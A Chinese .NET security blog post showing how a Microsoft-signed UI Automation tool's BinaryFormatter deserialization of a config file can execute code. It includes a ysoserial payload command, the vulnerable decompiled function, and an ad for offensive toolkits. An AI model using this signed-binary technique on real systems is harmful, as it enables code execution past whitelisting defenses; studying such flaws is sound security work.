.NET 回顾 | 一款反序列化漏洞的白名单工具

Sharp4VerifyNative是一款具备微软白名单的可执行文件，专门设计用于手动和自动测试基于Microsoft UI Automation框架实现的程序。得益于其合法的微软签名，该工具在许多安全防护措施下依然可以顺利运行，因此成为了红队活动中的一款重要工具。

Sharp4VerifyNative通过利用此反序列化漏洞启动新进程，因此，我们可以使用工具如ysoserial.exe来生成恶意的序列化数据，并写入Roaminguiverify.config文件中。以下是具体步骤：

首先，使用ysoserial.exe生成一个Roaminguiverify.config文件，其中包含执行notepad的Payload：

ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o raw -c "notepad" > Roaminguiverify.config

将生成的Roaminguiverify.config文件写入到当前用户目录，比如C:UsersIvan1eeAppDataRoaminguiverify.config。接着，运行Sharp4VerifyNative.exe，该工具将反序列化并执行Roaminguiverify.config中的代码，从而启动记事本。

在对Sharp4VerifyNative进行反编译后，我们在MainWindow类中发现了一个非常有趣且关键的函数：ApplicationStateDeserialize。以下是该函数的代码：

private void ApplicationStateDeserialize()
{
 this._configFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "uiverify.config";
 if (File.Exists(this._configFile))
 {
  Stream stream = File.Open(this._configFile, FileMode.Open);
  BinaryFormatter binaryFormatter = new BinaryFormatter();
  this._applicationState = (ApplicationState)binaryFormatter.Deserialize(stream);
  stream.Close();
 }
}

从代码中可以看出，ApplicationStateDeserialize函数通过BinaryFormatter.Deserialize方法来反序列化存储在Roaminguiverify.config中的数据。此操作本质上是在恢复应用程序状态，但由于使用了BinaryFormatter，该函数存在反序列化漏洞，可被恶意利用来执行任意代码。

综上，Microsoft UI Automation框架是用于访问和操作用户界面的一个标准API，常用于测试和自动化任务中，而Sharp4VerifyNative通过其反序列化功能，为恶意利用提供了一个有效的攻击面。

从漏洞分析到安全攻防，我们涵盖了.NET安全各个关键方面，为您呈现最新、最全面的.NET安全知识，下面是公众号发布的精华文章集合，推荐大家阅读！

目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一，从.NET Framework到.NET Core，从Web应用到PC端软件应用，无论您是初学者还是经验丰富的开发人员，都能在这里找到对应的安全指南和最佳实践。

星球汇聚了各行业安全攻防技术大咖，并且每日分享.NET安全技术干货以及交流解答各类技术等问题，社区中发布很多高质量的.NET安全资源，可以说市面上很少见，都是干货。

星球文化始终认为授人以鱼不如授人以渔！加入星球后可以跟星主和嘉宾们一对一提问交流，20+个专题栏目涵盖了点、线、面、体等知识面，助力师傅们快速成长！其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

    我们倾力打造专刊、视频等配套学习资源，循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

我们还有一个会员专属的内部星球陪伴群，加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问，以获取帮助迅速解决问题。

为了助力大家在2024国家级hvv演练中脱颖而出，我们特别整理出了一套涵盖dotNet安全矩阵星球的八大.NET相关方向工具集。

.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输

这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术，更是每一位网络安全爱好者不可或缺的实战利器。